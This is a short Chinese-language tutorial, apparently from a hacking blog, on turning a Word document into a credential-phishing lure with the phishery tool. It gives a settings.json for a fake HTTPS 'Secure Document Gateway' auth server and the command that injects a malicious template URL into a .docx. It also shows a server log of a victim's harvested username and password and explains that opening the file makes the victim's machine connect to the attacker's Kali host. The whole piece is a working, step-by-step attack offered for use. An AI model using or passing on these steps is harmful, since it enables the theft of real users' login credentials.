恶意盗取Windows 登录密码的Word 文档
通过使用phishery工具将恶意url注入到word文档,这将导致MicrosoftWord向URL发出请求,从而向最终用户显示身份验证对话框。可以使用phishery的URL注入任何.docx文件。
第一步:根据需要修改提供的setings.json文件,默认情况下它应该如下所示
{
“ip”: “0.0.0.0”,
“port”: “443”,
“sslCert”: “server.crt”,
“sslKey”: “server.key”,
“basicRealm”: “Secure Document Gateway”,
“responseStatus”: 200,
“responseFile”: “template.dotx”,
“responseHeaders”: [
[“Content-Type”, “application/vnd.openxmlformats-officedocument.wordprocessingml.template”]
]
}
此设置将启动端口上的HTTP服务器443将SSL配置为使用Server.crt和Server.key…基本身份验证域设置为安全文档网关…当提供任何凭据时,200响应状态与包含的内容一起发送。Template.dotx以及内容类型标题:内容类型:applicationvnd.openxmlformats-officedocument.wordprocessingml.template.
第二步:还可以将设置文件配置为输出一个简单的主体,方法是使用响应体,就像这样:
第三步:服务器配置完毕,现在我们将对word文档进行注入恶意url工作(攻击操作)
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
[+] Opening Word document: good.docx(打开一个叫Good文档)
[+] Setting Word document template to: https://secure.site.local/docs(将文档注入指定url)
[+] Saving injected Word documentto: bad.docx(保存该文档)
[*] Injected Word document has been saved!(已经保存)
注意:确保您的phishery服务器正在运行,并在您使用的URL上可用。现在,打开Word文档时,将提示受害者使用身份验证对话框(账户登录)。当目标将用户名和密码输入进去那么我这边终端将显示用户名和密码。
最后一步:现在,当受害者打开文档时,您将看到以下内容
$ ./phishery
[+] Credential store initialized at: credentials.json
[+] Starting HTTPS Auth Server on: 0.0.0.0:443
[] Request Received at 2019-09-05 01:06:28: HEAD https://secure.site.local/docs
[] Sending Basic Auth response to: 10.117.0.111
[*] New credentials harvested!
[HTTP] Host : secure.example.local
[HTTP] Request : /docs
[HTTP] User Agent : Microsoft Office Word
[HTTP] IP Address : 10.117.0.111
[AUTH] Username : Admin
[AUTH] Password : abx.123
上当IP:10.117.0.111
用户名Admin
密码abx.123
原理
通过往WORD文件里注入指定恶意URL会直接导致用户打开文档后会与KALI建立一个连接,导致目标计算机弹出一个关于登陆用户的窗口此时如果登陆那么你的电脑登陆账户将被泄露在KALI